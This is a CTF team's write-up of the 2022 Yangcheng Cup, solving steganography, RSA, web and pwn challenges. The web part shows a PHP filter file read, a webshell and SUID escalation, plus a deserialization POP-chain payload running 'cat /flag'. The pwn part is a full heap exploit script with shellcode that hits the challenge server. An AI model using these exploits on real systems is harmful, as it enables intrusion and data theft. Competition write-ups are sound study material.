0%

2022年“羊城杯”网络安全大赛

img

2022年“羊城杯”网络安全大赛

前言

战队名称:AGCTF

战队排名:34

终究还是太菜,卷不动,静养回血ing

MISC

签个到

ROT13+base32解密得到flag

flag{806a333fbb6aa7b7ac1a29552994cdfc}

迷失幻境

用DAEMON Tools Lite进行挂载,附件得到一百张图片

img

发现回收站还有个图片可莉可莉.jpg和一个少文件头的图片,修复一下

可莉可莉.jpg看到hint

img

一百张几乎一样的图片,使用stegsolve找一张图片和回收站修复的图片对比一下,得到key

img

img

Guess,outguess解密

img

DASCTF{f473a6fd2de17a0c5794414b3905ebbe}

寻宝

img

所有十六进制数都反了,两两反转一下,得到压缩包

img

解压得到

img

是个游戏,背景音一直循环,能听到里面参杂钢琴音六个音调,听了几遍对照着找出来是ccfgcf->114514,应该是密码之一

然后游戏用ce修改一下地址,找到血量地址,改角色生命值

img

img

修改锁定后成功修改
img

游戏截图二十关,密码类型分两部分,前四张图是猪圈,后十六张是差分曼彻斯特编码,对应数字电路信号得到01011111 01100001 00110001 01011111

img

二进制转str得到

img

地图前几关是猪圈,但是太抽象了,一直没对照对,直接掩码爆破吧,测试了几回合,发现是这样的顺序???_a1_114514

img

得到解压密码OWOH_a1_114514

得到flag.txt,是零宽度字符隐写Unicode Steganography with Zero-Width Characters (330k.github.io)用这个在线解密得到flag

img

GWHT{Wher3_1S_Th4_1gI981O?}

where_is_secret

vig.txt内维吉尼亚解密imghttps://www.guballa.de/vigenere-solver得到password:GWHT@R1nd0yydsimg

压缩包得bmp文件,比赛中间放的hint是文件加密过程,逆一下得到829962.txt

from PIL import Image

import numpy as np

def int2uni(n):

  return ('\\u{:0>4}'.format(n)).encode().decode('unicode_escape')

with open("829962.txt", mode="wb") as flag:

  img = Image.open("out.bmp")

  data = np.array(img)

  w = h = data.shape[0]

  z = []

  for x in range(w):

​    for y in range(h):

​      data1 = data[x,y,:]

​      data2 = int2uni(str(hex(data1[1])).replace('0x','').rjust(2, '0') + 

str(hex(data1[2])).replace('0x','').rjust(2, '0'))

​      z.append(data2)

  for data2 in z:

​    flag.write(data2.encode())

​    \#print('ok')

img

正则匹配删除文字,然后手动删除符号,得到

img

竖着看,长句删除,得到flag

flag{h1d3_1n_th3_p1ctur3}

躲猫猫

附件流量,wireshark分析一下,可以看到有上传功能

img

找找流量,找到了上传的文件,是个图片

img

img

又再ftp流量中找到压缩包

img

导出来发现已经损坏,winrar修复一下之后发现需要密码

img

可以看到key.log没有在加密范围之内,提取一下,后来发现还是显示数据报错,放到linux下解压就正常了,拉出来key.log进行分析,是解密TLS拿到一个图片,是password:20079651941337428

img,是压缩包解压密码,解压得到hide&seek.py

img

发现这个python是对目标图片进行重素

img跑一脚本如下:

from PIL import Image

from numpy import array, zeros, uint8

import cv2

import os

image = cv2.imread("zz.png")

\# img_gray = cv2.cvtColor(image,cv2.COLOR_RGB2GRAY)

imagearray = array(image)

\# print(imagearray[0][0][1])

 

x,y = 5999540678407978169965856946811257903979429787575580150595711549672916183293763090704344230372835328,6310149030391323406342737832910952782997118359318834776480172449836047279615976753524231989362688

 

l,w = 1800,1800

 

x1 = round(x/y*0.001, 16)

u1 = y*3650/x

x2 = round(x/y*0.00101, 16)

u2 = y*3675/x

x3 = round(x/y*0.00102, 16)

u3 = y*3680/x

kt = [x1, x2, x3]

 

temp_image = zeros(shape=[l, w, 3], dtype=uint8)

 

for k in range(0, 1):

  for i in range(0, l):

​    for j in range(0, w):

​      x1 = u1 * x1 * (1 - x1)

​      x2 = u2 * x2 * (1 - x2)

​      x3 = u3 * x3 * (1 - x3)

​      r1 = int(x1*255)

​      r2 = int(x2*255)

​      r3 = int(x3*255)

​      for t in range(0, 3):

​        temp_image[i][j][t] = (imagearray[i][j][t] - ((r1+r2) ^ r3)) % 256

  

  

  x1 = kt[0]

  x2 = kt[1]

  x3 = kt[2]

 

encflagarray = Image.fromarray(temp_image)

encflagarray.show()

encflagarray.save("cat.png")

得到

img

这是个新型二维码,采用中心定位,二维码补充中心定位(百度识图发现是这种圈圈定位,用ps扣了放上去的)

img

然后在线识别https://demo.dynamsoft.com/barcode-reader/

img

得到flag:GWHT{ozqgVLoI1DvK8giNVdvGslr_aZKKwNuv_q-FzqB5N3hHHqn3}

CRYPTO

EasyRsa

先求出c为38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727

for i in a:

   n = int(i)

   c = pow(m, e, n)

   m = c

 print ('c = %s' % (m))

脚本如下

from gmpy2 import *

from Crypto.Util.number import *

 

e = 65537

f = open("output.txt", "r")

a = f.readlines()

\# print(a)

\# for i in a:

\#   n = int(i)

\#   c = pow(m, e, n)

\#   m = c

\# print ('c = %s' % (m))

f.close()

 

c = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727

 

for i in range(11,0,-1):

  print(i)

p=gcd(int(a[i]),int(a[i-1]))

 

q=int(a[i])//p

  d=invert(e,(p-1)*(q-1))

  m=pow(c,d,int(a[i]))

  c=m

print(c)

p=gcd(int(a[1]),int(a[0]))

q=int(a[0])//p

d=invert(e,(p-1)*(q-1))

m=pow(c,d,int(a[0]))

 

print(m)

 

print(long_to_bytes(m))

GWHT{gixkJl7SJTcpLOL9zqwo}

LRSA

首先由数据PPQ和PQQ的公约数,求出P,Q

from gmpy2 import *

data1=17550772391048142376662352375650397168226219900284185133945819378595084615279414529115194246625188015626268312188291451580718399491413731583962229337205180301248556893326419027312533686033888462669675100382278716791450615542537581657011200868911872550652311318486382920999726120813916439522474691195194557657267042628374572411645371485995174777885120394234154274071083542059010253657420242098856699109476857347677270860654429688935924519805555787949683144015873225388396740487817155358042797286990338440987035608851331840925854381286767024584195081004360635842976624747610461507795755042915965483135990495921912997789567020652729777216671481467049291624343256152446367091568361258918212012737611001009003078023715854575413979603297947011959023398306612437250872299406744778763429172689675430968886613391356192380152315042387148665654062576525633130546454743040442444227245763939134967515614637300940642555367668537324892890004459521919887178391559206373513466653484926149453481758790663522317898916616435463486824881406198956479504970446076256447830689197409184703931842169195650953917594642601134810084247402051464584676932882503143409428970896718980446185114397748313655630266379123438583315809104543663538494519415242569480492899140190587129956835218417371308642212037424611690324353109931657289337536406499314388951678319136343913551598851601805737870217800009086551022197432448461112330252097447894028786035069710260561955740514091976513928307284531381150606428802334767412638213776730300093872457594524254858721551285338651364457529927871215183857169772407595348187949014442596356406144157105062291018215254440382214000573515515859668018846789551567310531570458316720877172632139481792680258388798439064221051325274383331521717987420093245521230610073103811158660291643007279940393509663374960353315388446956868294358252276964954745551655711981

\# P*P*Q

data2=17632503734712698604217167790453868045296303200715867263641257955056721075502316035280716025016839471684329988600978978424661087892466132185482035374940487837109552684763339574491378951189521258328752145077889261805000262141719400516584216130899437363088936913664419705248701787497332582188063869114908628807937049986360525010012039863210179017248132893824655341728382780250878156526086594253092249935304259986328308203344932540888448163430113818706295806406535364433801544858874357459282988110371175948011077595778123265914357153104206808258347815853145593128831233094769191889153762451880396333921190835200889266000562699392602082643298040136498839726733129090381507278582253125509943696419087708429546384313035073010683709744463087794325058122495375333875728593383803489271258323466068830034394348582326189840226236821974979834541554188673335151333713605570214286605391522582123096490317734786072061052604324131559447145448500381240146742679889154145555389449773359530020107821711994953950072547113428811855524572017820861579995449831880269151834230607863568992929328355995768974532894288752369127771516710199600449849031992434777962666440682129817924824151147427747882725858977273856311911431085373396551436319200582072164015150896425482384248479071434032953021738952688256364397405939276917210952583838731888536160866721278250628482428975748118973182256529453045184370543766401320261730361611365906347736001225775255350554164449014831203472238042057456969218316231699556466298168668958678855382462970622819417830000343573014265235688391542452769592096406400900187933156352226983897249981036555748543606676736274049188713348408983072484516372145496924391146241282884948724825393087105077360952770212959517318021248639012476095670769959011548699960423508352158455979906789927951812368185987838359200354730654103428077770839008773864604836807261909

\# P*Q*Q

 

P=data1//gcd(data1,data2)

Q=data2//gcd(data1,data2)

print('Q=',Q)

print('P=',P)

img

t=(p*P-58*P+q)%Q

通过x = vector(ZZ, [1, P]),y = vector(ZZ, [0, Q]),m = matrix([x,y]) print(m.LLL())
可求出p和q

p=80736411146583842306585010871034886981016840349026602734742256246556342668178774083233822097872779308174897649383396380481655663281333047577768952571915605685701400990749928642136680236367785948214890529631428970999122918591632651324318444462622996015719163492064450044087392474349767300242266723293755137205+58

q=71239161441539946834999944364158306978517617517717217001776063773301330324729178632534286023377366747004115034635139042058644768011502688969022553791977558750633767627495955645170437100983708648876951588485253787441732757259210010467734037546118780321368088487269039555130213851691659851510403573663333586407+44

然后就rsa一把梭,脚本如下:

from gmpy2 import *

from Crypto.Util.number import *

p= 80736411146583842306585010871034886981016840349026602734742256246556342668178774083233822097872779308174897649383396380481655663281333047577768952571915605685701400990749928642136680236367785948214890529631428970999122918591632651324318444462622996015719163492064450044087392474349767300242266723293755137205+58

q=71239161441539946834999944364158306978517617517717217001776063773301330324729178632534286023377366747004115034635139042058644768011502688969022553791977558750633767627495955645170437100983708648876951588485253787441732757259210010467734037546118780321368088487269039555130213851691659851510403573663333586407+44

e=65537

c=4364802217291010807437827526073499188746160856656033054696031258814848127341094853323797303333741617649819892633013549917144139975939225893749114460910089509552261297408649636515368831194227006310835137628421405558641056278574098849091436284763725120659865442243245486345692476515256604820175726649516152356765363753262839864657243662645981385763738120585801720865252694204286145009527172990713740098977714337038793323846801300955225503801654258983911473974238212956519721447805792992654110642511482243273775873164502478594971816554268730722314333969932527553109979814408613177186842539860073028659812891580301154746

d=invert(e,(p-1)*(q-1))

m=pow(c,d,p*q)

print(long_to_bytes(m))#b'DASCTF{8f3djoj9wedj2_dkc903cwckckdk}'

img

DASCTF{8f3djoj9wedj2_dkc903cwckckdk}

Web

rce_me

文件包含伪协议读取

php://filter/convert.base64-encode/resource=index.php

dirsearch扫目录

img

伪协议读1.php,发现是个马img

直接上蚁剑

img

发现得提权,直接date的suid读flag

img

flag{31240024220504177118549238509448}

step_by_step-v3

构造反序列化,exp如下

<?php

class yang

{

  public $y1;

}

class cheng

{

  public $c1;

}

class bei

{

  public $b1;

}

$a=new yang();

$b=new cheng();

$c=new bei();

$b->c1=$c;

$c->b1=$a;

$a->y1='phpinfo';

echo serialize($b);

 

// O:5:"cheng":1:{s:2:"c1";O:3:"bei":1:{s:2:"b1";O:4:"yang":1:{s:2:"y1";s:7:"phpinfo";}}}

img

​ flag{41398210650048416729033631022641}

Safepop

构造pop链,旨在到达getflag()

需要绕过_wakeup,exp如下

<?php

 

class Fun{

  private $func = "Test::getFlag";

  public function __call($f,$p){

​    call_user_func($this->func,$f,$p);

  }

 

}

 

class Test{

  public function getFlag(){

​    system("cat /flag?");  // 终点

  }

  public function __call($f,$p){

​    phpinfo();

  }

 

}

 

class A{

  public $a;

  public function __get($p){  // 由B开始,通过析构函数触发

​    print(get_class($this->a));

​    if(preg_match("/Test/",get_class($this->a))){  //这地方限制了,所以要进行绕过

​      return "No test in Prod\n";

​    }

​    return $this->a->$p();

  }

}

 

class B{  // 起点

  public $p;

  public function __destruct(){

​    $p = $this->p;

​    echo $this->a->$p;

  }

}

 

$huang = new Fun();

$z = new A();

$z->a = $huang;

$payload = new B();

$payload->a = $z;

$payload->p = '';

 

//echo base64_encode(serialize($payload));

echo serialize($payload);

最后为了能够调用Test,\X00替换,以及改属性值绕过wakeup

O:1:"B":2:{s:1:"p";s:0:"";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":99:{s:9:"%00Fun%00func";s:13:"Test::getFlag";}}}

img

flag{66639492335825537486481402904936}

PWN

Dream

先check一下看保护

img

64位程序,看下主体逻辑,发现是个类似于菜单选项的程序

img

img

分析一下可以看到free之后没有清除指针,可以利用UAF

需要注意的是返回值restult有一段加密

img

img

需要解密之后才能泄露地址。大致思路就出来了:直接利用一次常规的largebin attack来攻击stderr,然后再利用UAF来修改topchunk,从而触发malloc_asssert,最后直接拿来house of cat用就行了

Exp如下:

from pwn import *

address=remote("tcp.dasc.buuoj.cn",28079)

\#address=process("./dream")

elf=ELF("./dream")

libc=ELF("./libc-2.32.so")

 

context(arch="amd64",os="linux",log_level="debug")

context.terminal = ['gnome-terminal','-x','sh','-c']

 

def add(index,size,content):

  address.sendlineafter("choice: ",'1')

  address.sendlineafter("Give me a dream ID: ",str(index))

  address.sendlineafter("how long: ",str(size))

  address.sendafter("dream: ",content)

 

def delete(index):

  address.sendlineafter("choice: ",'2')

  address.sendlineafter("Which dream to wake?",str(index))

 

  

def show(index):

  address.sendlineafter("choice: ",'4')

  address.sendlineafter("Which dream do you want to show?",str(index))

 

def edit(index,content):

  address.sendlineafter("choice: ",'3')

  address.sendlineafter("Which dream to make?",str(index))

  address.sendafter("dream: ",content)

 

def decode(chars,len,sercet):

  v9 = 52 // len + 6

  delta = 0

  delta -= v9 * 0x61C88647

  delta &= 0xffffffff

  bk = chars[0]

 

  while(v9):

 

   for i in range(1,len)[::-1]:

​     fd = chars[i - 1]

​     chars[i] -= (((8 * bk) ^ (fd >> 7)) + ((bk >> 3) ^ (16 * fd))) ^ ((bk ^ delta) + (fd ^ sercet[((delta >> 2) & 3) ^ i & 3]))

​     chars[i] &= 0xffffffff

​     bk = chars[i]

   i -= 1

   fd = chars[len - 1]

   chars[0] -= (((8 * bk) ^ (fd >> 7)) + ((bk >> 3) ^ (16 * fd))) ^ ((bk ^ delta) + (fd ^ sercet[((delta >> 2) & 3) ^ i & 3]))

   chars[0] &= 0xffffffff

   bk = chars[0]

 

   delta += 0x61C88647

   delta &= 0xffffffff

 

   v9-=1

  return chars

 

sercet = [9,5,2,7]

 

add(0,0x420,'a')

add(1,0x400,'b')

add(2,0x410,"c")

delete(0)

delete(1)

show(0)

chars1=[]

 

for a in range(0x420//4):

  chars1.append(int.from_bytes(address.recv(4), "little"))

 

chars1=decode(chars1,0x420//4,sercet)

main_arena=(chars1[0]+(chars1[1]<<32)) - 96

libc_base=main_arena - 0x10 - libc.symbols['__malloc_hook']

success("libc_base = "+hex(libc_base))

 

stderr_addr=libc_base+libc.symbols['stderr']

set_context=libc_base+libc.symbols['setcontext']+61

 

show(1)

 

chars2=[]

 

for a in range(0x400//4):

  chars2.append(int.from_bytes(address.recv(4), "little"))

 

chars2=decode(chars2,0x400//4,sercet)

 

heap_base=(chars2[2]+(chars2[3]<<32)) - 0x10

success("heap_base = "+hex(heap_base))

 

payload=p64(main_arena+96)*2

payload=payload.ljust(0x410,b'\x00')

edit(0,payload)

 

payload=p64(heap_base>>12)+p64(heap_base+0x10)

payload=payload.ljust(0x400,b'\x00')

edit(1,payload)

 

add(3,0x440,"d")

delete(2)

 

payload=p64(0)*3+p64(stderr_addr - 0x20)

edit(0,payload)

 

add(4,0x4f0,'e')

 

delete(4)

add(5,0x430,'z')

 

payload=b'\x00'*0x438+p64(0x70)

edit(4,payload)

 

fake_addr=heap_base+0xad0 # 伪造的fake的地址

next_chain = 0

fake_FILE=p64(heap_base)     

fake_FILE+=p64(0)*7

fake_FILE +=p64(heap_base+0xee0)+p64(0)

fake_FILE +=p64(fake_addr+0xb0)

 

fake_FILE +=p64(set_context) 

fake_FILE = fake_FILE.ljust(0x58, b'\x00')

fake_FILE += p64(0)  

\# chain

fake_FILE = fake_FILE.ljust(0x78, b'\x00')

fake_FILE += p64(heap_base+0x1000)  

\# lock = a writable address

fake_FILE = fake_FILE.ljust(0x90, b'\x00')

fake_FILE +=p64(fake_addr+0x30)#_wide data 

fake_FILE = fake_FILE.ljust(0xB0, b'\x00')

 

fake_FILE += p64(0)

 

fake_FILE = fake_FILE.ljust(0xC8, b'\x00')

fake_FILE += p64(libc_base+0x1e4f80+0x10)  

 

fake_FILE +=p64(0)*6

fake_FILE += p64(fake_addr+0x50)  

\# rax2_addr

 

edit(2,fake_FILE)

 

shellcode_addr=heap_base+0xee0+0x300

 

frame = SigreturnFrame()

 

frame.rsp = shellcode_addr+0x20

frame.rdi = heap_base

frame.rsi = 0x10000

frame.rdx = 7

frame.rip = libc_base+libc.symbols['mprotect']

 

code = shellcraft.open("/flag")

code += shellcraft.read('rax','rsp',0x50)

code += shellcraft.write(1, 'rsp', 0x50)

code += shellcraft.exit(0)

shellcode=asm(code)

payload=bytes(frame)[0x20:].ljust(0x300,b'\x00')+p64(shellcode_addr+0x28)+shellcode

edit(3,payload)

 

address.sendlineafter("choice: ",'1')

address.sendlineafter("Give me a dream ID: ",str(6))

address.sendlineafter("how long: ",str(0x4f0))

 

address.interactive()

img

flag{99132165422532108828180523625259}

制作不易,如若感觉写的不错,欢迎打赏